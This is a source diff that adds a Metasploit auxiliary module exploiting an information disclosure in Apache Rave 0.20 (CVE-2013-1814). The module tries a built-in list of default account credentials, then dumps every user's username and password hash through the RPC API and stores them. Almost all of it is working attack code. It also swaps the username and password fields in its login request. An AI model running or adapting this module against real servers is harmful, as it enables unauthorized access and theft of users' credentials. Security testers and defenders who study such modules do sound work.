|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Apache Rave Users Information Disclosure', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an information disclosure in Apache Rave 0.20 and prior. The |
| 20 | + vulnerability exists in the RPC API, which allows any authenticated user to |
| 21 | + disclose information about all the users, including their password hashes. In order |
| 22 | + to authenticate the user can provide his own credentials. Also the default ones |
| 23 | + installed with Apache Rave 0.20 will be tried automatically. This module has been |
| 24 | + successfully tested on Apache Rave 0.20. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Andreas Guth', # Vulnerability discovery and PoC |
| 30 | + 'juan vazquez' # Metasploit module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'CVE', '2013-1814' ], |
| 35 | + [ 'OSVDB', '91235' ], |
| 36 | + [ 'BID', '58455' ], |
| 37 | + [ 'EDB', '24744'] |
| 38 | + ] |
| 39 | + )) |
| 40 | + |
| 41 | + register_options( |
| 42 | + [ |
| 43 | + Opt::RPORT(8080), |
| 44 | + OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']), |
| 45 | + OptString.new('USERNAME', [ false, 'Apache Rave Username' ]), |
| 46 | + OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]), |
| 47 | + ], self.class) |
| 48 | + end |
| 49 | + |
| 50 | + def login(username, password) |
| 51 | + uri = normalize_uri(target_uri.to_s, "j_spring_security_check") |
| 52 | + |
| 53 | + res = send_request_cgi({ |
| 54 | + 'uri' => uri, |
| 55 | + 'method' => 'POST', |
| 56 | + 'vars_post' => { |
| 57 | + 'j_password' => username, |
| 58 | + 'j_username' => password |
| 59 | + } |
| 60 | + }) |
| 61 | + |
| 62 | + if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ |
| 63 | + return $1 |
| 64 | + else |
| 65 | + return nil |
| 66 | + end |
| 67 | + end |
| 68 | + |
| 69 | + def disclose(cookie, offset) |
| 70 | + uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get") |
| 71 | + |
| 72 | + res = send_request_cgi({ |
| 73 | + 'uri' => uri, |
| 74 | + 'method' => 'GET', |
| 75 | + 'vars_get' => { |
| 76 | + 'offset' => "#{offset}" |
| 77 | + }, |
| 78 | + 'cookie' => "JSESSIONID=#{cookie}" |
| 79 | + }) |
| 80 | + |
| 81 | + if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/ |
| 82 | + return res.body |
| 83 | + else |
| 84 | + return nil |
| 85 | + end |
| 86 | + |
| 87 | + end |
| 88 | + |
| 89 | + def setup |
| 90 | + # Default accounts installed and enabled on Apache Rave 0.20 |
| 91 | + @default_accounts = { |
| 92 | + "canonical" => "canonical", |
| 93 | + "john.doe" => "john.doe", |
| 94 | + "jane.doe" => "jane.doe", |
| 95 | + "johnldap" => "johnldap", |
| 96 | + "four.col" => "four.col", |
| 97 | + "fourwn.col" => "fourwn.col", |
| 98 | + "george.doe" => "george.doe", |
| 99 | + "maija.m" => "maija.m", |
| 100 | + "mario.rossi" => "mario.rossi", |
| 101 | + "one.col" => "one.col", |
| 102 | + "three.col" => "three.col", |
| 103 | + "threewn.col" => "threewn.col", |
| 104 | + "twown.col" => "twown.col" |
| 105 | + } |
| 106 | + end |
| 107 | + |
| 108 | + def run |
| 109 | + |
| 110 | + print_status("#{rhost}:#{rport} - Fingerprinting...") |
| 111 | + res = send_request_cgi({ |
| 112 | + 'uri' => normalize_uri(target_uri.to_s, "login"), |
| 113 | + 'method' => 'GET', |
| 114 | + }) |
| 115 | + |
| 116 | + if not res |
| 117 | + print_error("#{rhost}:#{rport} - No response, aborting...") |
| 118 | + return |
| 119 | + elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/ |
| 120 | + version =$1 |
| 121 | + if version <= "0.20" |
| 122 | + print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...") |
| 123 | + else |
| 124 | + print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...") |
| 125 | + return |
| 126 | + end |
| 127 | + else |
| 128 | + print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...") |
| 129 | + end |
| 130 | + |
| 131 | + cookie = nil |
| 132 | + unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty? |
| 133 | + print_status("#{rhost}:#{rport} - Login with the provided credentials...") |
| 134 | + cookie = login(datastore["USERNAME"], datastore["PASSWORD"]) |
| 135 | + if cookie.nil? |
| 136 | + print_error("#{rhost}:#{rport} - Login failed.") |
| 137 | + else |
| 138 | + print_good("#{rhost}:#{rport} - Login successful. Proceeding...") |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | + if cookie.nil? |
| 143 | + print_status("#{rhost}:#{rport} - Login with default accounts...") |
| 144 | + @default_accounts.each { |user, password| |
| 145 | + print_status("#{rhost}:#{rport} - Login with the #{user} default account...") |
| 146 | + cookie = login(user, password) |
| 147 | + unless cookie.nil? |
| 148 | + print_good("#{rhost}:#{rport} - Login successful. Proceeding...") |
| 149 | + break |
| 150 | + end |
| 151 | + } |
| 152 | + end |
| 153 | + |
| 154 | + if cookie.nil? |
| 155 | + print_error("#{rhost}:#{rport} - Login failed. Aborting...") |
| 156 | + return |
| 157 | + end |
| 158 | + |
| 159 | + print_status("#{rhost}:#{rport} - Disclosing information...") |
| 160 | + offset = 0 |
| 161 | + search = true |
| 162 | + |
| 163 | + while search |
| 164 | + print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...") |
| 165 | + users_data = disclose(cookie, offset) |
| 166 | + if users_data.nil? |
| 167 | + print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...") |
| 168 | + return |
| 169 | + else |
| 170 | + print_good("#{rhost}:#{rport} - Disclosure successful") |
| 171 | + end |
| 172 | + |
| 173 | + json_info = JSON.parse(users_data) |
| 174 | + |
| 175 | + path = store_loot( |
| 176 | + 'apache.rave.users', |
| 177 | + 'application/json', |
| 178 | + rhost, |
| 179 | + users_data, |
| 180 | + nil, |
| 181 | + "Apache Rave Users Database Offset #{offset}" |
| 182 | + ) |
| 183 | + print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}") |
| 184 | + |
| 185 | + print_status("#{rhost}:#{rport} - Recovering Hashes...") |
| 186 | + json_info["result"]["resultSet"].each { |result| |
| 187 | + vprint_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}") |
| 188 | + report_auth_info( |
| 189 | + :host => rhost, |
| 190 | + :port => rport, |
| 191 | + :sname => "Apache Rave", |
| 192 | + :user => result["username"], |
| 193 | + :pass => result["password"], |
| 194 | + :active => result["enabled"] |
| 195 | + ) |
| 196 | + } |
| 197 | + |
| 198 | + page = json_info["result"]["currentPage"] |
| 199 | + total_pages = json_info["result"]["numberOfPages"] |
| 200 | + offset = offset + json_info["result"]["pageSize"] |
| 201 | + if page == total_pages |
| 202 | + search = false |
| 203 | + end |
| 204 | + |
| 205 | + end |
| 206 | + |
| 207 | + end |
| 208 | + |
| 209 | +end |
0 commit comments